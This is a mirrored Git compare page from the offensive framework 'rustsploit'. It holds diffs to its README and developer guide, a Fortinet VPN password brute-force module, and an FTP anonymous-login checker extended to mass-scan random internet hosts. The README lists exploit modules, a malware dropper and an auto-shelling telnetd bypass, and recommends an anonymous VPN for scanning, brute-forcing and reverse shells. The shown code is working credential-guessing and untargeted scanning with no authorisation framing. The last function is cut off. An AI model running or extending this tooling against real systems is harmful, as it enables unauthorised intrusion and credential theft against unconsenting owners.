mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
34 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 | |||
| e01e231579 |
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.4.3"
|
||||
version = "0.4.4"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
@@ -22,10 +22,9 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
8. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
9. [Contributing](#contributing)
|
||||
10. [Credits](#credits)
|
||||
|
||||
---
|
||||
|
||||
@@ -33,14 +32,14 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
@@ -58,7 +57,7 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
@@ -71,12 +70,50 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
### Requirements
|
||||
|
||||
```
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
sudo apt install pkg-config libssl-dev freerdp2-x11 # Required for the RDP brute force module
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S pkgconf openssl freerdp
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install pkgconf-pkg-config openssl-devel freerdp
|
||||
```
|
||||
|
||||
### Installing Rust & Cargo
|
||||
|
||||
**General (Recommended for all Linux/macOS):**
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
sudo apt install rustc cargo
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S rust
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install rust cargo
|
||||
```
|
||||
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
|
||||
### Clone + Build
|
||||
|
||||
@@ -92,10 +129,26 @@ cargo build
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
### Global Installation (Run from Terminal)
|
||||
|
||||
```
|
||||
To run `rustsploit` from anywhere in your terminal:
|
||||
|
||||
**Option 1: Cargo Install (Easiest)**
|
||||
```bash
|
||||
cargo install --path .
|
||||
rustsploit
|
||||
```
|
||||
|
||||
**Option 2: Manually Build Release Binary**
|
||||
```bash
|
||||
# 1. Build optimized release version
|
||||
cargo build --release
|
||||
|
||||
# 2. Move binary to your path (e.g., /usr/local/bin)
|
||||
sudo cp target/release/rustsploit /usr/local/bin/
|
||||
|
||||
# 3. Run from anywhere
|
||||
rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
@@ -221,10 +274,6 @@ find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
@@ -234,14 +283,9 @@ Example session:
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
|
||||
### Command Chaining
|
||||
|
||||
Execute multiple commands in a single line using the `&` separator:
|
||||
@@ -455,20 +499,18 @@ curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
## Private Internet Recommendations
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
|
||||
- **No Registration:** Account numbers are generated without email or personal data.
|
||||
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
|
||||
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
|
||||
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
|
||||
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+14
-21
@@ -1,6 +1,6 @@
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
@@ -29,7 +29,7 @@ Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
@@ -90,16 +90,15 @@ Because the dispatcher is generated at build time, there is no manual registry d
|
||||
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
@@ -117,19 +116,7 @@ Commands are parsed and executed sequentially from left to right. This is useful
|
||||
|
||||
---
|
||||
|
||||
## Proxy Subsystem
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
|
||||
---
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
@@ -345,6 +332,12 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **CVE-2026-24061 Exploit**:
|
||||
- GNU inetutils-telnetd Remote Authentication Bypass via `NEW_ENVIRON`
|
||||
- Automated payload execution and interactive shell session
|
||||
- Mass-scan support with multi-port parallelization and exclusion ranges
|
||||
- Verified logic for IAC (Interpret As Command) telnet negotiation
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
@@ -410,7 +403,7 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
|
||||
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
@@ -423,7 +416,7 @@ Feel free to expand this file with reusable pieces (e.g., credential loader, HTT
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
|
||||
@@ -5,7 +5,6 @@ use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
@@ -17,8 +16,10 @@ use tokio::{
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_int_range,
|
||||
load_lines, prompt_wordlist, normalize_target,
|
||||
get_filename_in_current_dir, prompt_port,
|
||||
};
|
||||
use regex::Regex;
|
||||
use once_cell::sync::Lazy;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
@@ -35,8 +36,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
|
||||
.parse().unwrap_or(443);
|
||||
let port: u16 = prompt_port("Fortinet VPN Port", 443).await?;
|
||||
|
||||
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
|
||||
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
|
||||
@@ -198,8 +198,10 @@ async fn spawn_fortinet_task(
|
||||
stop_on_success: bool,
|
||||
timeout: Duration
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return, // Semaphore closed, stop processing
|
||||
};
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
@@ -294,12 +296,12 @@ async fn try_fortinet_login(
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
// Build form body
|
||||
let mut form_pairs: Vec<String> = Vec::new();
|
||||
for (key, val) in &form_data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
let body = form_pairs.join("&");
|
||||
|
||||
let login_response = match timeout(
|
||||
timeout_duration,
|
||||
@@ -337,38 +339,28 @@ async fn try_fortinet_login(
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
{
|
||||
// Check for explicit success indicators
|
||||
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
|
||||
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
{
|
||||
// Check for explicit failure indicators
|
||||
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
|
||||
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
// Check status code and authentication cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
// Check redirect location for success
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
let success_redirects = ["/remote/index", "portal", "index"];
|
||||
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
@@ -377,21 +369,21 @@ async fn try_fortinet_login(
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
|
||||
vec![
|
||||
Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
|
||||
Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
|
||||
Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"),
|
||||
Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"),
|
||||
]
|
||||
});
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
for pattern in CSRF_PATTERNS.iter() {
|
||||
if let Some(captures) = pattern.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -405,7 +397,12 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
// IPv6 case: check if there's a colon after the closing bracket
|
||||
if let Some(bracket_pos) = normalized_host.rfind(']') {
|
||||
normalized_host[bracket_pos..].contains(':')
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
@@ -418,12 +415,3 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1,15 +1,41 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::process::Command;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use rand::Rng;
|
||||
use tokio::net::TcpStream; // For fast connect check
|
||||
|
||||
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "ftp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
@@ -37,7 +63,17 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -55,6 +91,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
// Optional: Check if we can run command?
|
||||
// For single target, we usually just report login success in legacy mode.
|
||||
// But let's be consistent and try listing.
|
||||
match ftp.list(None).await {
|
||||
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
|
||||
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
@@ -93,6 +136,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
|
||||
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
|
||||
}
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
@@ -103,3 +150,188 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
|
||||
let _verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output result file", "ftp_mass_results.txt").await?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
